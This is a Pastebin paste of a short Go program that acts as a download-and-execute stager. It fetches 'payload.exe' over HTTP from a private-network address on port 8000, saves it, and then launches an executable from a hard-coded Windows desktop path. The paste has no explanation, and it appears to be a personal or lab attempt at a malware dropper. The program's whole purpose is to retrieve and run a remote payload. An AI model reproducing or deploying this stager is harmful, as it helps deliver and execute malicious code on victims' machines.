Advertisement
Guest User

Untitled

a guest
Jul 13th, 2017
165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.57 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4.    "fmt"
  5.    "io"
  6.    "log"
  7.    "net/http"
  8.    "net/url"
  9.    "os"
  10.    "os/exec"
  11.    "strings"
  12. )
  13.  
  14. func download(arg string) {
  15.     fmt.Printf("Working %s\n", arg)
  16.     fmt.Println("Downloading file...")
  17.  
  18.     rawURL := "http://192.168.1.101:8000/payload.exe"
  19.  
  20.     fileURL, err := url.Parse(rawURL)
  21.  
  22.     if err != nil {
  23.         panic(err)
  24.     }
  25.  
  26.     path := fileURL.Path
  27.  
  28.     segments := strings.Split(path, "/")
  29.  
  30.     fileName := segments[1] // change the number to accommodate changes to the url.Path position
  31.  
  32.     file, err := os.Create(fileName)
  33.  
  34.     if err != nil {
  35.         fmt.Println(err)
  36.         panic(err)
  37.     }
  38.     defer file.Close()
  39.  
  40.     check := http.Client{
  41.         CheckRedirect: func(r *http.Request, via []*http.Request) error {
  42.             r.URL.Opaque = r.URL.Path
  43.             return nil
  44.         },
  45.     }
  46.  
  47.     resp, err := check.Get(rawURL)
  48.  
  49.     if err != nil {
  50.         fmt.Println(err)
  51.         panic(err)
  52.     }
  53.     defer resp.Body.Close()
  54.     fmt.Println(resp.Status)
  55.  
  56.     size, err := io.Copy(file, resp.Body)
  57.  
  58.     if err != nil {
  59.         panic(err)
  60.     }
  61.  
  62.     fmt.Printf("%s with %v bytes downloaded", fileName, size)
  63.  
  64. }
  65.  
  66. func execute(arg1, arg2 string) {
  67.    cmnd := exec.Command("C:/Users/Israel/Desktop/Golang/payload.exe", "arg")
  68.     cmnd.Start()
  69.     log.Println(cmnd.Output())
  70. }
  71.  
  72. func Invoke(fn interface{}, args ...string) {
  73.     switch m := fn.(type) {
  74.     case func(string):
  75.         m(args[0])
  76.     case func(string, string):
  77.         m(args[0], args[1])
  78.     default:
  79.  
  80.     }
  81. }
  82.  
  83. func main() {
  84.     Invoke(download, "now")
  85.     Invoke(execute, "foo", "bar")
  86. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement